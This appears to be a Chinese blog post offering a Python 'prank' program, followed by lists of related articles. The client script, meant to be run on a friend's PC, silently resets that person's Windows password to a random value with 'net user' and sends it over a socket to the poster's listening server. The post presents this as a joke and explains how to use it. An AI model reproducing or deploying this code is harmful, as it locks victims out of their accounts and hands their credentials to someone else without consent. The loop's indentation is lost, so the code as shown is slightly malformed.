一个可以套路别人的python小程序实例代码


Posted in Python onApril 09, 2019

先简要介绍一下程序。

 程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。

 咳咳,使用方法来了!

 首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。

 然后,让你的朋友在他的电脑上运行客户端 client.py。

 此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。

嗯,然后你朋友的电脑密码就只有你自己知道了~

上代码:

# client.py:
import socket
import getpass
import subprocess
import random
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect(('172.17.21.56', 8080))
user = getpass.getuser()
psd = ''
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
phone.send(psd.encode('utf-8'))
back_msg = phone.recv(1024)
phone.close()
# server.py
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('172.17.21.56', 8080))
phone.listen(5)
print('starting....')
conn, addr = phone.accept()
print(conn)
print('client addr', addr)
print('ready to read msg')
client_msg = conn.recv(1024)
print('client msg: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
phone.close()

总结

以上所述是小编给大家介绍的个可以套路别人的python小程序,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
python进阶教程之动态类型详解
Aug 30 Python
jupyter安装小结
Mar 13 Python
Matplotlib 生成不同大小的subplots实例
May 25 Python
python利用requests库进行接口测试的方法详解
Jul 06 Python
python实现在图片上画特定大小角度矩形框
Oct 24 Python
python获取url的返回信息方法
Dec 17 Python
Python使用字典的嵌套功能详解
Feb 27 Python
python super的使用方法及实例详解
Sep 25 Python
python manage.py runserver流程解析
Nov 08 Python
python数据爬下来保存的位置
Feb 17 Python
Keras 加载已经训练好的模型进行预测操作
Jun 17 Python
用Python实现屏幕截图详解
Jan 22 Python
Python装饰器限制函数运行时间超时则退出执行
Apr 09 #Python
详解Python 解压缩文件
Apr 09 #Python
Python使用pandas和xlsxwriter读写xlsx文件的方法示例
Apr 09 #Python
Python中使用logging和traceback模块记录日志和跟踪异常
Apr 09 #Python
由Python编写的MySQL管理工具代码实例
Apr 09 #Python
python实现爬山算法的思路详解
Apr 09 #Python
Python使用Pickle模块进行数据保存和读取的讲解
Apr 09 #Python
You might like
PHP中mysqli_affected_rows作用行数返回值分析
2014/12/26 PHP
redis+php实现微博(三)微博列表功能详解
2019/09/23 PHP
IE bug table元素的innerHTML
2010/01/11 Javascript
Jquery图片滚动与幻灯片的实例代码
2013/04/08 Javascript
仿谷歌主页js动画效果实现代码
2013/07/14 Javascript
jquery二级导航内容均分的原理及实现
2013/08/13 Javascript
node.js中的fs.unlink方法使用说明
2014/12/15 Javascript
《JavaScript DOM 编程艺术》读书笔记之JavaScript 图片库
2015/01/09 Javascript
jquery超简单实现手风琴效果的方法
2015/06/05 Javascript
js实现简单折叠、展开菜单的方法
2015/08/28 Javascript
jQuery Validation Plugin验证插件手动验证
2016/01/26 Javascript
AngularJS入门教程之与服务器(Ajax)交互操作示例【附完整demo源码下载】
2016/11/02 Javascript
React Native 环境搭建的教程
2017/08/19 Javascript
详解从新建vue项目到引入组件Element的方法
2017/08/29 Javascript
JS点击动态添加标签、删除指定标签的代码
2018/04/18 Javascript
微信小程序js文件改变参数并在视图上及时更新【推荐】
2018/06/11 Javascript
echarts大屏字体自适应的方法步骤
2019/07/12 Javascript
JS实现滑动拼图验证功能完整示例
2020/03/29 Javascript
Vue在H5 项目中使用融云进行实时个人单聊通讯
2020/12/14 Vue.js
在HTML中使用JavaScript的两种方法
2020/12/24 Javascript
[41:56]Spirit vs Liquid Supermajor小组赛A组 BO3 第一场 6.2
2018/06/03 DOTA
Python常用随机数与随机字符串方法实例
2015/04/09 Python
用python做一个搜索引擎(Pylucene)的实例代码
2017/07/05 Python
详解Python中的正则表达式
2018/07/08 Python
Python3按一定数据位数格式处理bin文件的方法
2019/01/24 Python
python如何实现数据的线性拟合
2019/07/19 Python
python 单线程和异步协程工作方式解析
2019/09/28 Python
对tensorflow中tf.nn.conv1d和layers.conv1d的区别详解
2020/02/11 Python
python读取yaml文件后修改写入本地实例
2020/04/27 Python
Python延迟绑定问题原理及解决方案
2020/08/04 Python
毕业生的自我鉴定
2013/10/29 职场文书
找工作最新求职信
2013/12/22 职场文书
小学教师听课制度
2014/02/01 职场文书
《燕子》教学反思
2014/02/18 职场文书
素质教育学习心得体会
2016/01/19 职场文书
javascript进阶篇深拷贝实现的四种方式
2022/07/07 Javascript